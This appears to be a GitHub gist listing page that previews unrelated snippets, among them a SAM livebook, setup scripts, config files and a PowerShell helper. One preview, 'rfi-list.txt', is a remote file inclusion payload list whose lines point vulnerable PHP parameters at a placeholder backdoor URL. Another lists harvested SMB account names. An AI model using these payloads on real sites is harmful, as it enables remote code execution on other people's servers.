Skip to content

Instantly share code, notes, and snippets.

@herissondev
herissondev / Sam_ortex.livemd
Last active May 9, 2024 23:40
Segment Anything Model using Ortex library

Segment Anything Model (SAM) using Ortex

Mix.install([
  {:ortex, "~> 0.1.9"},
  {:image, "~> 0.37"},
  {:nx_image, "~> 0.1.2"},
  {:exla, "~> 0.7.2"},
  {:kino, "~> 0.12.3"},
@amit08255
amit08255 / bspwm.md
Created October 10, 2021 01:52
Bspwm Cheatsheet

bspwm/sxhkd cheat sheet

Common keys

@nayoshi
nayoshi / tutorial.md
Last active May 9, 2024 23:35
How to auto-deploy your git repository to an apache server automatically.

1. On the Web Server

Here we install and set up Git on the server. We also create an SSH key so the server can talk to GitHub without using passwords.

Install Git

sudo apt-get update
sudo apt install git

If you already had Git installed, make sure it’s a relatively new version – upgrade it to the latest if need be.

@dhh
dhh / linux-setup.sh
Last active May 9, 2024 23:34
linux-setup.sh
# CLI
sudo apt update -y
sudo apt install -y \
git curl \
docker.io docker-buildx \
build-essential pkg-config autoconf bison rustc cargo clang \
libssl-dev libreadline-dev zlib1g-dev libyaml-dev libreadline-dev libncurses5-dev libffi-dev libgdbm-dev libjemalloc2 \
libvips imagemagick libmagickwand-dev mupdf mupdf-tools \
redis-tools sqlite3 libsqlite3-0 libmysqlclient-dev \
rbenv apache2-utils
@masterkram
masterkram / cities.json
Last active May 9, 2024 23:34
Best City Vote
[
{
"parent": " Best place to live in the world right now?\n\nReply a city and I'll collect all replies and show results later today",
"replies": []
},
{
"parent": "Most important thing in choosing a place to live might be looking at the people who live there who are 30 years older than you\n\nDo they look happy, fit and healthy? Or depressed, fat and unhealthy?\n\nIt's hard to escape trajectories from your environment, so you'll probably become\u2026",
"replies": []
},
{
@pngmark
pngmark / http-status-codes-javascript
Created November 3, 2017 02:42
HTTP status codes for JavaScript array
var statusMessages = [
'200': 'OK',
'201': 'Created',
'200': 'OK',
'201': 'Created',
'202': 'Accepted',
'203': 'Non-Authoritative Information',
'204': 'No Content',
'205': 'Reset Content',
'206': 'Partial Content',
@mubix
mubix / rfi-list.txt
Created October 31, 2015 16:27
RFI List that used to be hosted: http://ha.ckers.org/weird/rfi-locations.dat
# Compiled by RSnake 02/01/2010 Mostly from milw0rm osvdb.org and elsewhere.
# Change XXpathXX to the path of your backdoor. Note that you may need to
# try it against every directory on the target and because of how this was
# culled you may need to add a question mark to your own XXpathXX URL:
# Eg: XXpathXX => http://www.example.com/hax.txt?
/0_admin/modules/Wochenkarte/frontend/index.php?x_admindir=XXpathXX?
/123flashchat.php?e107path=XXpathXX
/2007/administrator/components/com_joomlaflashfun/admin.joomlaflashfun.php?mosConfig_live_site=XXpathXX
/22_ultimate/templates/header.php?mainpath=XXpathXX
/22_ultimate/templates/header.php?mainpath=XXpathXX?
{
"mode": "patterns",
"proxySettings": [
{
"address": "127.0.0.1",
"port": 8080,
"username": "",
"password": "",
"type": 1,
"title": "127.0.0.1:8080",
@mubix
mubix / lan.dev.txt
Created November 30, 2019 22:33
lan.dev SMB Connections
1 20110125032
1 guest
2 travel
4 Dung Trang
6 AUTHORITY\NETWORK
6 STEP-PC\soft
9 GERRARD
10 dd
11 STYG\chukoubu
12 administrator
@mubix
mubix / Get-CSharp.ps1
Created November 30, 2020 05:13
Powershell Get-CSharp
function Get-CSharpProcess {
$proclist = Get-Process
foreach($proc in $proclist) {
foreach($mod in $proc.Modules)
{
if($mod.ModuleName -imatch "mscoree")
{
Write-Output(".NET Found in:`t" + $proc.Name)
}
}